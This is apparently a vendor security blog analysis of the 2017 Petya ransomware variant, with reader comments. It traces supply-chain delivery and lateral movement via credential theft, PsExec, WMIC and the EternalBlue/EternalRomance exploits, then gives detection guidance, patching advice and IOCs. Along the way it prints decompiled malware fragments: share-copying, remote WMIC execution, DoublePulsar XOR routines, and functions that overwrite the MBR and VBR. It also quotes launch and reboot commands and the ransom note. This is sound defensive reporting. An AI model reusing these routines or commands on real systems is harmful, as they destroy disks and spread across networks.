

New ransomware, old techniques: Petya adds worm capabilities

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 msft-mmpc June 27, 2017

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On June 27, 2017 reports of a [ransomware](#) infection began spreading across Europe. We saw the first infections in Ukraine, where more than 12,500 machines encountered the threat. We then observed infections in another 64 countries, including Belgium, Brazil, Germany, Russia, and the United States.

The new ransomware has worm capabilities, which allows it to move laterally across infected networks. Based on our investigation, this new ransomware shares similar codes and is a new variant of [Ransom:Win32/Petya](#). This new strain of ransomware, however, is more sophisticated.

To protect our customers, we released cloud-delivered protection updates and made updates to our signature definition packages shortly after. These updates were automatically delivered to all Microsoft free antimalware products, including [Windows Defender Antivirus](#) and Microsoft Security Essentials. You can download the latest version of these files manually at the [Malware Protection Center](#).

[Windows Defender Advanced Threat Protection](#) (Windows Defender ATP) automatically detects behaviors used by this new ransomware variant without any updates.


Delivery and installation

Initial infection appears to involve a software supply-chain threat involving the Ukrainian company M.E.Doc, which develops tax accounting software, MEDoc. Although this vector was speculated at length by news media and security researchers—including Ukraine's own Cyber Police—there was only circumstantial evidence for this vector. Microsoft now has evidence that a few active infections of the ransomware initially started from the legitimate MEDoc updater process. As we highlighted previously, [software supply chain attacks](#) are a recent dangerous trend with attackers, and it requires advanced defense.

We observed telemetry showing the MEDoc software updater process (*EzVit.exe*) executing a malicious command-line matching this exact attack pattern on Tuesday, June 27 around 10:30 a.m. GMT.

The execution chain leading to the ransomware installation is represented in the diagram below and essentially confirms that *EzVit.exe* process from MEDoc, for unknown reasons, at some moment executed the following command-line:

```
C:\Windows\system32\rundll32.exe "C:\ProgramData\perfc.dat",#1 30
```



The same update vector was also mentioned by the Ukraine Cyber Police in a public list of indicators of compromise (IOCs), which includes the MEDoc updater.

A single ransomware, multiple lateral movement techniques

Given this new ransomware's added lateral movement capabilities it only takes a single infected machine to affect a network. The ransomware spreading functionality is composed of multiple methods responsible for:

- stealing credentials or re-using existing active sessions
- using file-shares to transfer the malicious file across machines on the same network
- using existing legitimate functionalities to execute the payload or abusing SMB vulnerabilities for unpatched machines

In the next sections, we discuss the details of each technique.

Lateral movement using credential theft and impersonation

This ransomware drops a credential dumping tool (typically as a .tmp file in the %Temp% folder) that shares code similarities with [Mimikatz](#) and comes in 32-bit and 64-bit variants. Because users frequently log in using accounts with local admin privileges and have active sessions opens across multiple machines, stolen credentials are likely to provide the same level of access the user has on other machines.

Once the ransomware has valid credentials, it scans the local network to establish valid connections on ports *tcp/139* and *tcp/445*. A special behavior is reserved for Domain Controllers or servers: this ransomware attempts to call *DhcpEnumSubnets()* to enumerate DCP subnets all hosts on all DHCP subnets before scanning for *tcp/139* and *tcp/445* services. If it gets a response, the malware attempts to copy a binary on the remote machine using regular file-transfer functionalities with the stolen credentials.

It then tries to execute remotely the malware using either PSEXEC or WMIC tools.

The ransomware attempts to drop the legitimate *psexec.exe* (typically renamed to *dllhost.dat*) from an embedded resource within the malware. It then scans the local network for *admin\$* shares, copies itself across the network, and executes the newly copied malware binary remotely using PSEXEC.

In addition to credential dumping, the malware also tries to steal credentials by using the *CredEnumerateW* function to get all the other user credentials potentially stored on the credential store. If a credential name starts with *"TERMSRV/"* and the type is set as 1 (generic) it uses that credential to propagate through the network.

```

wsprintfW(&Name, L"\\\\%s\\admin$", a1);
NetResource.dwScope = 0;
memset(&NetResource.dwType, 0, 0x1Cu);
NetResource.lpRemoteName = &Name;
NetResource.dwType = 1;
get_current_module_name_convert_tows(&v23);
wsprintfW(&FileName, L"\\\\%ws\\admin$\\%ws", a1, &v23);
while ( 1 )
{
    pszPath = 0;
    v11 = v4;
    v18 = WNetAddConnection2W(&NetResource, lpPassword, lpUserName, 0);
    wsprintfW(&pszPath, L"\\\\%ws\\admin$\\%ws", a1, &v23);
    v5 = PathFindExtensionW(&pszPath);
    if ( v5 )
    {
        *v5 = 0;
        if ( PathFileExistsW(&pszPath) )
        {
            v13 = 1; |
            goto exit;
        }
        dwErrCode = GetLastError();
    }
    v6 = 0;
    if ( write_file(dword_1001F11C, &FileName, (LPCVOID)dword_1001F0FC, 1u) )
        break;
    v7 = GetLastError();
    dwErrCode = v7;
    if ( v7 == 80 || v7 == 53 || v7 == 67 || v18 != 1219 )
        goto exit;
    if ( v11 )
        goto LABEL_61;
    v4 = 1;
    WNetCancelConnection2W(&Name, 0, 1);
}

```

Ransomware code responsible for accessing \\Admin\$ shares on different machines

This ransomware also uses the Windows Management Instrumentation Command-line (WMIC) to find remote shares (using *NetEnum/NetAdd*) to spread to. It uses either a duplicate token of the current user (for existing connections), or a username/password combination (spreading through legit tools).

```

}
PathAppendW(v5, L"wbem\\wmic.exe");
if ( !PathFileExistsW(v5) )
{
LABEL_10:
    *a2 = 0;
    *v5 = 0;
    return v6;
}
v7 = wsprintfW(a2, L"%s /node:\"%ws\" /user:\"%ws\" /password:\"%ws\" ", v5, a3, a4, a5);
v8 = wsprintfW(
    &a2[v7],
    L"process call create \\\"C:\\Windows\\System32\\rundll32.exe \\\"C:\\Windows\\%s\\\" #1 ",
    &v13)
+ v7;

```

Screenshot showing launch of malware on a remote machine using WMIC

Lateral movement using EternalBlue and EternalRomance

The new ransomware can also spread using an exploit for the Server Message Block (SMB) vulnerability [CVE-2017-0144](#) (also known as EternalBlue), which was fixed in [security update MS17-010](#) and was also exploited by [WannaCrypt](#) to spread to out-of-date machines. In addition, this ransomware also uses a second exploit for [CVE-2017-0145](#) (also known as EternalRomance, and fixed by the same bulletin).

We've seen this ransomware attempt to use these exploits by generating SMBv1 packets (which are all XOR 0xCC encrypted) to trigger these vulnerabilities at the following address of the malware code:

```

.1000247E: FF1588D20010      call    WS2_32.9
.10002484: 66894602         mov     [esi][2],ax
.10002488: 8A450C          mov     al,[ebp][00C]
.1000248B: 884608          mov     [esi][8],al
.1000248E: 668B4510         mov     ax,[ebp][010]
.10002492: 6689460E         mov     [esi][00E],ax
.10002496: 668B4514         mov     ax,[ebp][014]
.1000249A: 66894610         mov     [esi][010],ax
.1000249E: 668B4518         mov     ax,[ebp][018]
.100024A2: 6689461C         mov     [esi][01C],ax
.100024A6: 668B451C         mov     ax,[ebp][01C]
.100024AA: 6689461E         mov     [esi][01E],ax
.100024AE: 668B4520         mov     ax,[ebp][020]
.100024B2: 66894624         mov     [esi][020],ax
.100024B6: 668B4524         mov     ax,[ebp][024]
.100024BA: 66894622         mov     [esi][022],ax
.100024BE: C74604FF534D42  mov     d,[esi][4],0424D53FF ;'BMS '
.100024C5: C6460D18         mov     b,[esi][00D],018
.100024C9: 8BC6           mov     eax,esi
.100024CB: 5E             pop     esi
.100024CC: 5D             pop     ebp
.100024CD: C22000         retn   00020 ;' ' ; ~~~~~
.100024D0: 55             push   ebx

```

```

.text:10003D80
.text:10003D80 loc_10003D80: ; CODE XREF: DoDoublePulsar+F6↓j
.text:10003D80 mov     cl, ds:DoublePulsarRingXor0xCC[eax]
.text:10003D86 xor     cl, 0CCh
.text:10003D89 mov     [esi+eax+1F1h], cl
.text:10003D90 inc     eax
.text:10003D91 cmp     eax, 977h
.text:10003D96 jnb     short loc_10003D80
.text:10003D98
.text:10003D98 loc_10003D98: ; CODE XREF: DoDoublePulsar+6B↑j
.text:10003D98 push   edi
.text:10003D99 cmp     bl, 2
.text:10003D9C jnz     short loc_10003DB8
.text:10003D9E mov     ecx, offset DoublePulsarDllInjectionXor0xCC
.text:10003DA3 mov     eax, esi
.text:10003DA5 sub     ecx, esi
.text:10003DA7 mov     edi, 47Bh
.text:10003DAC
.text:10003DAC loc_10003DAC: ; CODE XREF: DoDoublePulsar+116↓j
.text:10003DAC mov     dl, [ecx+eax]
.text:10003DAF xor     dl, 0CCh
.text:10003DB2 mov     [eax], dl

```

These two exploits were leaked by a group called [Shadow Brokers](#). However, it is important to note that both of these vulnerabilities have been fixed by Microsoft in [security update MS17-010](#) on March 14, 2017.

Machines that are patched against these exploits (with [security update MS17-010](#)) or [have disabled SMBv1](#) are not affected by this particular spreading mechanism. Please refer to our previous [blog](#) for details on these exploits and how modern Windows 10 mitigations can help to contain similar threats.

Encryption

This ransomware's encryption behavior depends on the malware process privilege level and the processes found to be running on the machine. It does this by employing a simple XOR-based hashing algorithm on the process names, and checks against the following hash values to use as a behavior exclusion:

```

hSnapshot = CreateToolhelp32Snapshot(2u, 0);
if ( hSnapshot != (HANDLE)-1 )
{
    pe.dwSize = 556;
    if ( Process32FirstW(hSnapshot, &pe) )
    {
        do
        {
            v9 = 305419896;
            v0 = 0;
            v1 = wcslen(pe.szExeFile);
            do
            {
                v2 = 0;
                if ( v1 )
                {
                    v3 = v0;
                    do
                    {
                        v4 = (char *)&v9 + (v3 & 3);
                        v5 = (*v4 ^ LOBYTE(pe.szExeFile[v2++])) - 1;
                        ++v3;
                        *v4 = v5;
                    }
                    while ( v2 < v1 );
                }
                ++v0;
            }
            while ( v0 < 3 );
            if ( v9 == 0x2E214B44 )
            {
                v10 &= 0xFFFFFFFF7;
            }
            else if ( v9 == 0x6403527E || v9 == 0x651B3005 )
            {
                v10 &= 0xFFFFFFFFB;
            }
        }
        while ( Process32NextW(hSnapshot, &pe) );
    }
    CloseHandle(hSnapshot);
}
return v10;

```

- 0x2E214B44 – if a process with this hashed name is found running on the machine then the ransomware does not infect the MBR

```

v3 = gFileSize;
v4 = gFileBuffer;
if ( g_Config & 4 )
{
    v5 = PathFindFileNameW(&gMalwarePATH);
    if ( v5 )
    {
        v6 = (char *)((char *)v9 - (char *)v5);
        do
        {
            v7 = *v5;
            *(LPWSTR)((char *)v5 + (_DWORD)v6) = *v5;
            ++v5;
        }
        while ( v7 );
        WideCharToMultiByte(0xFDE9u, 0, lpWideCharStr, -1, &MultiByteStr, 260, 0, 0);
        if ( (inet_addr(&MultiByteStr) != -1 || sub_10009683(&MultiByteStr))
            && !RunExploit(&MultiByteStr, v4, v3, a2, a3, (int)v9, wcslen(v9)) )
        {
            v11 = 1;
        }
    }
}

```

- 0x6403527E or 0x651B3005 – if these hashes of process names are found, the ransomware does not carry out any of its network-related actions (such as attempting to exploit the SMBv1 vulnerability)

```

if ( !(g_Config & 8) || (result = sub_100014A9()) != 0 )
    result = MBRInfection();
return result;

```

This ransomware then writes to the master boot record (MBR) and then sets up the system to reboot. It sets up scheduled tasks to shut down the machine after at least 10 minutes past the current time. The exact time is random (*GetTickCount()*). For example:

```
schtasks /Create /SC once /TN "" /TR "<system folder>\shutdown.exe /r /f" /ST 14:23
```

After successfully modifying the MBR, it displays the following fake system message, which notes a supposed error in the drive and shows the fake integrity checking:

Repairing file system on C:

The type of the file system is NTFS.

One of your disks contains errors and needs to be repaired. This process may take several hours to complete. It is strongly recommended to let it complete.

WARNING: DO NOT TURN OFF YOUR PC! IF YOU ABORT THIS PROCESS, YOU COULD DESTROY ALL OF YOUR DATA! PLEASE ENSURE THAT YOUR POWER CABLE IS PLUGGED IN!

CHKDSK is repairing sector 32576 of 191968 (16%)

It then displays this ransom note:

Oops, your important files are encrypted.

If you see this text, then your files are no longer accessible, because they have been encrypted. Perhaps you are busy looking for a way to recover your files, but don't waste your time. Nobody can recover your files without our decryption service.

We guarantee that you can recover all your files safely and easily. All you need to do is submit the payment and purchase the decryption key.

Please follow the instructions:

1. Send \$300 worth of Bitcoin to following address:

1Mz7153HMuxXTuR2R1t78mGSdzaAtNbBWx

2. Send your Bitcoin wallet ID and personal installation key to e-mail wowsmith123456@posteo.net. Your personal installation key:

8UeiNr-ngRtrs-NFx836-CyWuqF-umKmF3-dsWL7g-PLtmUm-ggEoWa-ubECnf-NAEyfT

If you already purchased your key, please enter it below.

Key: _____

Only if the malware is running with highest privilege (i.e., with *SeDebugPrivilege* enabled), it tries to overwrite the MBR code.

This ransomware attempts to encrypt all files with the following file name extensions in all folders in all fixed drives, except for *C:\Windows*:

.3ds	.7z	.accdb	.ai
.asp	.aspx	.avhd	.back
.bak	.c	.cfg	.conf
.cpp	.cs	.ctl	.dbf
.disk	.djvu	.doc	.docx
.dwg	.eml	.fdb	.gz
.h	.hdd	.kdbx	.mail
.mdb	.msg	.nrg	.ora
.ost	.ova	.ovf	.pdf
.php	.pmf	.ppt	.pptx
.pst	.pvi	.py	.pyc
.rar	.rtf	.sln	.sql
.tar	.vbox	.vbs	.vcb
.vdi	.vfd	.vmc	.vmdk
.vmsd	.vmx	.vsdx	.vsv
.work	.xls	.xlsx	.xvd
.zip			

It uses file mapping APIs instead of a usual *ReadFile()/WriteFile()* APIs:

```

}
v5 = CreateFileMappingW(v3, 0, 4u, 0, v4, 0);
hObject = v5;
if ( v5 )
{
    v6 = MapViewOfFile(v5, 6u, 0, 0, (SIZE_T)lpFileName);
    if ( v6 )
    {
        if ( CryptEncrypt(*(_DWORD *) (a2 + 20), 0, Final, 0, (BYTE *)v6, (DWORD *)&lpFileName, v4) )
            FlushViewOfFile(v6, (SIZE_T)lpFileName);
        UnmapViewOfFile(v6);
    }
    CloseHandle(hObject);
}
result = (HANDLE)CloseHandle(v8);
}
return result;

```

Unlike most other ransomware, this threat does not append a new file name extension to encrypted files. Instead, it overwrites the said files.

The AES key generated for encryption is per-machine and gets exported and encrypted using the embedded 800-bit RSA public key of the attacker.

```

0000: 30 82 01 0a                ; SEQUENCE (10a Bytes)
0004: 02 82 01 01                ; INTEGER (101 Bytes)
0008: | 00
0009: | c4 ff d5 a8 a7 34 c8 b7 bd 26 15 6a 14 c4 06 c1
0019: | 42 13 3b a5 a9 5d 69 ca 48 d4 00 61 3d 0e eb 90
0029: | ab f0 f8 c8 40 89 d3 78 79 17 12 37 ce da 7d 89
0039: | 99 44 56 57 fb 87 07 46 6b 95 0f f0 71 82 41 c0
0049: | b8 50 f4 4a 89 de 20 ea 98 dd 7d 3a 8e cd b7 21
0059: | 14 99 b6 26 a2 97 2a f9 82 c8 05 9c d0 d9 94 ca
0069: | d0 0d 83 b5 7e 06 44 ac 44 10 52 c2 cb bb cf d7
0079: | 61 18 38 f5 e4 9d 5c bf fa 67 f4 24 55 a2 c7 3d
0089: | bd 42 24 df e6 82 ee d7 9c 15 2c e3 42 b8 48 9b
0099: | 19 a3 4d a6 0a be 09 7b 0f c1 f2 13 0d b0 c3 99
00a9: | da d1 22 25 04 53 0e a8 de 9b 79 a4 d3 ac 91 f3
00b9: | 89 6c c6 a7 d9 36 6e eb 37 e1 ce eb 6c ec a6 9f
00c9: | 3f 95 00 f3 fd 07 99 fe 4a df f1 7d 31 ff 52 13
00d9: | af 04 66 32 be 70 88 85 94 a7 96 9d d3 f4 5d f4
00e9: | 42 61 72 3d 00 96 02 79 a3 ae ec 25 c5 e9 4d 00
00f9: | 54 d9 cd 8e f2 de 3a 7e 36 2c 71 54 2b 8a 3a 27
0109: 02 03                    ; INTEGER (3 Bytes)
010b: 01 00 01

```

Embedded RSA public key

```

session_key_handle_to_encrypt = a1->session_handle_encryption_key_for_per_machine_AESkey_export;
v7 = 0;
AES_128_key_handle = a1->AES_128_key_handle;
pdwDataLen = 0;
if ( CryptExportKey(AES_128_key_handle, session_key_handle_to_encrypt, CRYPT_EXPORTABLE, 0, 0, &pdwDataLen) )
{
    v4 = (BYTE *)LocalAlloc(0x40u, pdwDataLen);
    pbBinary = v4;
    if ( v4 )
    {
        if ( CryptExportKey(
            v1->AES_128_key_handle,
            v1->session_handle_encryption_key_for_per_machine_AESkey_export,
            1u,
            0,
            v4,
            &pdwDataLen) )
        {
            pcchString = 0;
            if ( CryptBinaryToStringW(pbBinary, pdwDataLen, 1u, 0, &pcchString) )
            {
                v5 = LocalAlloc(0x40u, 2 * pcchString);
                if ( v5 )
                {
                    if ( CryptBinaryToStringW(pbBinary, pdwDataLen, 1u, (LPWSTR)v5, &pcchString) )
                        v7 = v5;
                    else
                        LocalFree(v5);
                }
            }
        }
    }
    LocalFree(pbBinary);
}

```

Code exporting the per machine AES 128 bit key and encrypting it using embedded RSA public key during export

The unique key used for files encryption (AES) is added, in encrypted form, to the README.TXT file the threat writes under section "Your personal installation key:".

Beyond encrypting files, this ransomware also attempts to overwrite the MBR and the first sector of the VBR. If the malware is run with

SeShutdownPrivilege or *SeDebugPrivilege* or *SeTcbPrivilege* privilege, it overwrites the MBR of the victim's machine. It directly accesses the *drive0* `\\\\.\\PhysicalDrive0` as described in the following code snapshots:

MBR overwrite pseudo code:

```
signed int OverrideMBR()
{
    HANDLE hDisk0; // ebx@1
    DISK_GEOMETRY tGeom; // [esp+10h] [ebp-20h]@3
    LPCVOID pcBuff; // [esp+28h] [ebp-8h]@3
    DWORD nBytesReturned; // [esp+2Ch] [ebp-4h]@3

    hDisk0 = CreateFileA("\\\\.\\PhysicalDrive0", 0x40000000u, 3u, 0, 3u, 0, 0);
    if ( !hDisk0 )
        return 0;
    DeviceIoControl(hDisk0, IOCTL_DISK_GET_DRIVE_GEOMETRY, 0, 0, &tGeom, 0x18u, &nBytesReturned, 0);
    pcBuff = LocalAlloc(0, 10 * tGeom.BytesPerSector);
    if ( pcBuff )
    {
        DeviceIoControl(hDisk0, FSCTL_DISMOUNT_VOLUME, 0, 0, 0, 0, &nBytesReturned, 0);
        WriteFile(hDisk0, pcBuff, 10 * tGeom.BytesPerSector, &nBytesReturned, 0);
        LocalFree((HLOCAL)pcBuff);
    }
    CloseHandle(hDisk0);
    return 1;
}
```

Overwriting the first sector of VBR:

```
signed int OverrideVBR()
{
    HANDLE hUbr; // edi@1
    HLOCAL pcBuff; // ebx@3
    signed int result; // eax@7
    DWORD cbBytesReturned; // [esp+Ch] [ebp-1Ch]@2
    DISK_GEOMETRY tGeom; // [esp+10h] [ebp-18h]@2

    hUbr = CreateFileA("\\\\.\\C:", 0x40000000u, 3u, 0, 3u, 0, 0);
    if ( hUbr )
    {
        if ( DeviceIoControl(hUbr, IOCTL_DISK_GET_DRIVE_GEOMETRY, 0, 0, &tGeom, 0x18u, &cbBytesReturned, 0) )
        {
            pcBuff = LocalAlloc(0, 10 * tGeom.BytesPerSector);
            if ( pcBuff )
            {
                SetFilePointer(hUbr, tGeom.BytesPerSector, 0, 0);
                WriteFile(hUbr, pcBuff, tGeom.BytesPerSector, &cbBytesReturned, 0);
                LocalFree(pcBuff);
            }
        }
        CloseHandle(hUbr);
    }
    if ( !(g_dwHashProcesses & 8) || (result = sub_100014A9()) != 0 )
        result = OverrideMBR();
    return result;
}
```

After completing its encryption routine, this ransomware drops a text file called *README.TXT* with the following text:

Oops, your important files are encrypted.

If you see this text, then your files are no longer accessible, because they have been encrypted. Perhaps you are busy looking for a way to recover your files, but don't waste your time. Nobody can recover your files without our decryption service.

We guarantee that you can recover all your files safely and easily. All you need to do is submit the payment and purchase the decryption key.

Please follow the instructions:

1. Send \$300 worth of Bitcoin to following address:

1Mz7153HMuxXTuR2R1t78mGsdzaAtNbBwX

2. Send your Bitcoin wallet ID and personal installation key to e-mail wowsmith123456@posteo.net. Your personal installation key:

```
AQIAAA5mAAAApAAA/yM8tPsonWrpGRsJ9Ohu85ORQvnEk+nNoTieEzZwe9TNkjfy
fQndHkeHXIKLEuIHRwjsYty536o88VfKArHR5jsvVf2yNXLBPMwtwr ipITptewR7
bFr cd1kZ9L6xr10zR7xLw/r5wWfr/SZ6VZU7bbnDKSItTbjcX84UPow8c1d57+xs
+XZVhUP703bGnJOfEba8Sr+yR202Ae5lmp4d7hc00brDT1JdOLkwxD2Eqm1QonRQ
VldJvMeTmBvIzwe7LBpnyysd4wjY10uHvwxUbmje4djclUXATQ8piGD7N9md63jF
uMa6S6j+pkUCwvK566i5XvuVw/iCVmLazkRMHw==
```

This ransomware also clears the System, Setup, Security, Application event logs and deletes NTFS journal info.

Detection and investigation with Windows Defender Advanced Threat Protection

Windows Defender Advanced Threat Protection (Windows Defender ATP) is a post-breach solution and offers by-design detections for this attack without need of any signature updates. Windows Defender ATP sensors constantly monitor and collect telemetry from the endpoints and offers machine-learning detections for common lateral movement techniques and tools used by this ransomware, including, for example, the execution of *PsExec.exe* with different filename, and the creation of the *perf.dat* file in remote shares (UNC) paths.

Today, without the need of additional updates, an infected machine may look like this:

The screenshot shows the Windows Defender Security Center interface. At the top, it says "Machine" and "A file was copied from the machine using a suspicious operation". Below this, there are three main sections: "Logged on users" (last 30 days) showing 8 users (1 Interactive, 0 RemoteInteractive, 8 Other); "Machine reporting" showing last internal and external IP addresses, and first/last seen times (5 months ago and 11 hours ago); and "Alerts related to this machine" which is a table of alerts.

Last activity	Title	User	Severity	Status	Assigned to
06.27.2017 11:04:03	Attempt to hide use of dual-purpose tool Installation	nt authority\system	Medium	New	Not assigned
06.27.2017 11:04:03	A file was copied from the machine using a suspicious operation Lateral Movement	nt authority\system	Medium	New	Not assigned
06.27.2017 11:01:50	A file was copied from the machine using a suspicious operation Lateral Movement	nt authority\system	Medium	New	Not assigned
06.27.2017 11:01:49	A file was copied from the machine using a suspicious operation Lateral Movement	nt authority\system	Medium	New	Not assigned
06.27.2017 10:55:28	A file was copied from the machine using a suspicious operation Lateral Movement	nt authority\system	Medium	New	Not assigned
06.27.2017 10:55:03	A file was copied from the machine using a suspicious operation Lateral Movement	nt authority\system	Medium	New	Not assigned
06.27.2017 10:52:43	Password retrieval tool detected Lateral Movement		Low	New	Not assigned

The second alert targets the distribution of the ransomware's .dll file over the network. This event provides helpful information during investigation as it includes the User context that was used to move the file remotely. This user has been compromised and could represent the user associated with patient-zero:

Windows Defender Security Center | Alert

> A file was copied from the machine using a suspicious operation > > A file was copied from the machine using a suspicious operation

A file was copied from the machine using a suspicious operation

[Manage](#)

Severity: Medium
 Category: Lateral Movement
 Detection source: Windows Defender ATP

Alert context

First activity: 06.27.2017 | 11:01:49
 Last activity: 06.27.2017 | 11:01:50

Status

State: New
 Classification: Not set
 Assigned to: Not assigned

Description

A file was copied from the machine using a suspicious operation. This may indicate a security breach by an attacker that is moving laterally in the network.
 File perfc.dat was suspiciously dropped to a remote UNC path \\PpII_610efb2dde5075d8dec2b3cdd0701b63b4f9f0c\admin\$.

Recommended actions

Inspect the process responsible for this file copy operation. If it is not a valid tool used by a network administrator or other expected user, isolate the machine from the network to prevent further spread.

Alert process tree

```

graph TD
    System[System] --> perfc_dat[System created file perfc.dat]
    System --> PSEXESVC_EXE[System created file PSEXESVC.EXE]
    System --> wininit_exe[wininit.exe]
    wininit_exe --> services_exe[services.exe]
    services_exe --> PSEXESVC_EXE2[PSEXESVC.EXE]
    PSEXESVC_EXE2 --> rundll32_exe1[rundll32.exe]
    rundll32_exe1 --> perfc_dat2[perfc.dat]
    rundll32_exe1 --> rundll32_exe2[rundll32.exe]
    rundll32_exe2 --> perfc_dat3[perfc.dat]
  
```

With Windows Defender ATP, enterprise customers are well-equipped to quickly identify Petya outbreaks, investigate the scope of the attack, and respond early to malware delivery campaigns.

Protection against this new ransomware attack

Keeping your [Windows 10 up-to-date](#) gives you the benefits of the latest features and proactive mitigations built into the latest versions of Windows. In Creators Update, we further [hardened Windows 10 against ransomware attacks](#) by introducing new next-gen technologies and enhancing existing ones.

As another layer of protection, [Windows 10 S](#) only allows apps that come from the Windows Store to run. Windows 10 S users are further protected from this threat.

We recommend customers that have not yet installed security update [MS17-010](#) to do so as soon as possible. Until you can apply the patch, we also recommend two possible workarounds to reduce the attack surface:

- Disable SMBv1 with the steps documented at [Microsoft Knowledge Base Article 2696547](#) and as [recommended previously](#)
- Consider adding a rule on your router or firewall to block incoming SMB traffic on port 445

As the threat targets ports 139 and 445, you customers can block any traffic on those ports to prevent propagation either into or out of machines in the network. You can also disable remote WMI and file sharing. These may have large impacts on the capability of your network, but may be suggested for a very short time period while you assess the impact and [apply definition updates](#).

Windows Defender Antivirus detects this threat as [Ransom:Win32/Petya](#) as of the [1.247.197.0 update](#). Windows Defender Antivirus uses cloud-based protection, helping to protect you from the latest threats.

For enterprises, use [Device Guard](#) to lock down devices and provide kernel-level virtualization-based security, allowing only trusted applications to run, effectively preventing malware from running.

Monitor networks with [Windows Defender Advanced Threat Protection](#), which alerts security operations teams about suspicious activities. Download this playbook to see how you can leverage Windows Defender ATP to detect, investigate, and mitigate ransomware in networks: [Windows Defender Advanced Threat Protection – Ransomware response playbook](#).

Resources

Next-generation ransomware protection with Windows 10 Creators Update: <https://blogs.technet.microsoft.com/mmpc/2017/06/08/windows-10-creators-update-hardens-security-with-next-gen-defense/>

Download English language security updates: [Windows Server 2003 SP2 x64](#), [Windows Server 2003 SP2 x86](#), [Windows XP SP2 x64](#), [Windows XP SP3 x86](#), [Windows XP Embedded SP3 x86](#), [Windows 8 x86](#), [Windows 8 x64](#)

Download localized language security updates: [Windows Server 2003 SP2 x64](#), [Windows Server 2003 SP2 x86](#), [Windows XP SP2 x64](#), [Windows XP SP3 x86](#), [Windows XP Embedded SP3 x86](#), [Windows 8 x86](#), [Windows 8 x64](#)

MS17-010 Security Update: <https://technet.microsoft.com/en-us/library/security/ms17-010.aspx>

Indicators of Compromise

Network defenders may search for the following indicators:

File Indicators

- 34f917aaba5684fbe56d3c57d48ef2a1aa7cf06d
- 9717cfdc2d023812dbc84a941674eb23a2a8ef06
- 38e2855e11e353cedf9a8a4f2f2747f1c5c07fcf
- 56c03d8e43f50568741704aee482704a4f5005ad

Command Lines

In environments where command-line logging is available, the following command lines may be searched:

- Scheduled Reboot Task: Petya schedules a reboot for a random time between 10 and 60 minutes from the current time
 - `schtasks /Create /SC once /TN "" /TR "<system folder>\shutdown.exe /r /f" /ST <time>`
 - `cmd.exe /c schtasks /RU "SYSTEM" /Create /SC once /TN "" /TR "C:\Windows\system32\shutdown.exe /r /f" /ST <time>`

This may be surfaced by searching for EventId 106 (General Task Registration) which captures tasks registered with the Task Scheduler service.

- Lateral Movement (Remote WMI)
 - `"process call create \"C:\\Windows\\System32\\rundll32.exe \\\"C:\\Windows\\perfc.dat\\\" #1"`

Network indicators

In environments where NetFlow data are available, this ransomware's subnet-scanning behavior may be observed by looking for the following:

- Workstations scanning ports tcp/139 and tcp/445 on their own local (/24) network scope
- Servers (in particular, domain controllers) scanning ports tcp/139 and tcp/445 across multiple /24 scopes

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Comments (17)

Name *

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Simon

June 28, 2017 at 01:31

Thanks for sharing. Very informative

[Reply](#)



Aurelien Desseaux

June 28, 2017 at 01:32

Thanks for this article. Could you confirm that System center endpoint protection is aware of this processes and block them effitiently please ?

[Reply](#)



Aurelien Desseaux

June 28, 2017 at 02:36

I got the Tam info, thanks MS Av detect and block this threat with definition 1.247.197.0 from 27 juin 2017 at 12:04:25

[Reply](#)



Yoshihiro Kawabata

[June 28, 2017 at 01:54](#)

Thank you, detail information about this malware

[Reply](#)



Max

[June 28, 2017 at 01:57](#)

> Only if the malware is running with highest privilege (i.e., with SeDebugPrivilege enabled), it tries to overwrite the MBR code. so what's going on if the malware is not running with the SeDebugPrivilege enabled (cannot write to MBR) will it still encrypt the files ?

[Reply](#)



David

[June 28, 2017 at 02:31](#)

Page above states: "We recommend customers that have not yet installed security update MS17-010 to do so as soon as possible." When I look at my windows 10 update page it makes no mention of MS17-010

I just see things like: "Microsoft .NET Framework 4.7 for Windows 10 Version 1607 and Windows Server 2016 for x64 (KB3186568)" and further down "2017-06 Update for Windows 10 Version 1607 for x64-based Systems (KB4023834)"

You would have thought Microsoft would at least use the same language people see in their update page.

[Reply](#)



Paul Prior

[June 28, 2017 at 02:54](#)

You already have it installed. W10 uses cumulative updates covering multiple exploits and this was included in the March 2017 cumulative update. That said, install all those other patches as one of them is the June cumulative update which closes other possible exploits.

[Reply](#)



Caleb

[June 28, 2017 at 02:59](#)

Nice job!! Thanks for sharing so important info.

[Reply](#)



Zer

[June 28, 2017 at 03:13](#)

When the files are crypted ? Before or after reboot ?

Bitlocker can protect that ?

[Reply](#)



Natik

[June 28, 2017 at 04:37](#)

2 modes: Encrypt after restart

[Reply](#)



ltesmh

[June 28, 2017 at 03:35](#)

good job!usefull information

[Reply](#)



shantanu

[June 28, 2017 at 03:38](#)

Very informative and descriptive.....thank you!

[Reply](#)



Shine Raj

[June 28, 2017 at 03:52](#)

WannCry/Petya – RansomWare: How to protect Windows 7 Home Premium 64bit? Have already updated Microsoft Security Essentials. Is there any port or services to be disabled?

[Reply](#)



JimmySal

[June 28, 2017 at 05:44](#)

Hi,

Yes, you can follow this link and check the patch for Win7. <https://technet.microsoft.com/en-us/library/security/ms17-010.aspx>

Also you can disable port TCP139 and TCP 445 if you suspect network is infected with the ransomware as a last resort. Before that make sure your systems are patched and AV updated.

Hope this helps.

[Reply](#)



alex

June 28, 2017 at 03:52

Hi team, is it possible, that C:\ProgramData should state C:\Windows or are both possible locations?

[Reply](#)



Димитрий

June 28, 2017 at 05:34

On Win7, Win8 and Win10, users had the rights as "Users", blocked ports and installed all the updates. And still, all 47 computers were infected with a virus Petya !!!
What can be done to restore the data?!?!?

[Reply](#)



Guilherme

June 28, 2017 at 05:58

Thanks for sharing.

So, I assume that if I have all my computers, servers and W7, 8 and 10 up to date with the Windows Update, the update that fix the bug is installed, right?

In that case, I don't need to download the update in the internet?

Thanks!!!

[Reply](#)

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